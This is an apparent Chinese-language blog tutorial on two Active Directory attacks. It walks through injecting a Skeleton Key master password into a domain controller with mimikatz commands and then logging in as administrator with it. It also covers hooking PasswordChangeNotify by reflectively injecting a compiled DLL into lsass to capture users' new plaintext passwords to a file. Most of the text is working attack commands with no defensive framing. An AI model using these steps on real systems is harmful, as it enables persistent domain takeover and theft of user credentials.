天天看點

Skeleton Key(萬能密碼)與 Hook PasswordChangeNotify

1、Skeleton Key

使用Skeleton Key(萬能密碼),可以對域内權限進行持久化操作

Skeleton Key特點:

  • Skeleton Key被安裝在64位域控伺服器上
  • 支援Windows Server2003—Windows Server2012 R2
  • 能夠讓所有域使用者使用同一個萬能密碼進行登入
  • 現有的所有域使用者使用原密碼仍能繼續登入
  • 重新開機後失效

 使用mimikatz注入Skeleton Key

遠端域控制器主機名:DC

IP:192.168.111.3

使用者名:administrator

密碼:Admin123

使用正常的管理者賬号密碼進行遠端連接配接:

net use \\192.168.111.3\ipc$ "Admin123" /user:hacke\administrator
Skeleton Key(萬能密碼)與 Hook PasswordChangeNotify

 成功列出域控制器的目錄

在域控制器上以管理者權限打開mimikatz,輸入如下指令:

privilege::debug

misc::skeleton

Skeleton Key(萬能密碼)與 Hook PasswordChangeNotify

系統提示已經注入成功。此時,會在域内的所有賬号中添加一個Skeleton Key,其密碼預設為:mimikatz

使用這個密碼進行遠端連接配接:

net use              //檢視現有ipc$

net use \\192.168.111.3\ipc$ /del /y              //删除之前建立的ipc$

net use \\dc\ipc$ "mimikatz" /user:hacke\administrator              //使用Skeleton Key與域控器建立ipc$

這裡不能使用ip位址

Skeleton Key(萬能密碼)與 Hook PasswordChangeNotify
Skeleton Key(萬能密碼)與 Hook PasswordChangeNotify

與域控制器成功建立連接配接,并列出其目錄

2、Hook PasswordChangeNotify

Hook PasswordChangeNotify的作用是當使用者修改密碼後在系統中進行同步。攻擊者可利用該功能擷取目标使用者修改密碼時所輸入的明文密碼

在修改密碼時,使用者輸入新密碼後,LSA會調用PasswordFileter來檢查該密碼是否符合複雜性要求。如果密碼符合複雜性要求,LSA會調用PasswordChangeNotify,在系統中同步密碼

使用Invoke-ReflectivePEInjection.ps1進行HookPasswordChange.dll注入

Invoke-ReflectivePEInjection.ps1在PowerSploit工具包裡面

HookPasswordChange.dll在github上下載下傳:https://github.com/clymb3r/Misc-Windows-Hacking.git

使用VS2015開發環境,MFC設定為在靜态庫中使用MFC

編譯工程,生成HookPasswordChange.dll

将Invoke-ReflectivePEInjection.ps1和HookPasswordChange.dll上傳到域控制器上

在域控制器的PowerShell中輸入如下指令:

Import-Module .\Invoke-ReflectivePEInjection.ps1

Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass

 然後更改密碼:

net user administrator Admin12345

 更改後的密碼将會儲存在C:\Windows\Temp\password.txt檔案中

繼續閱讀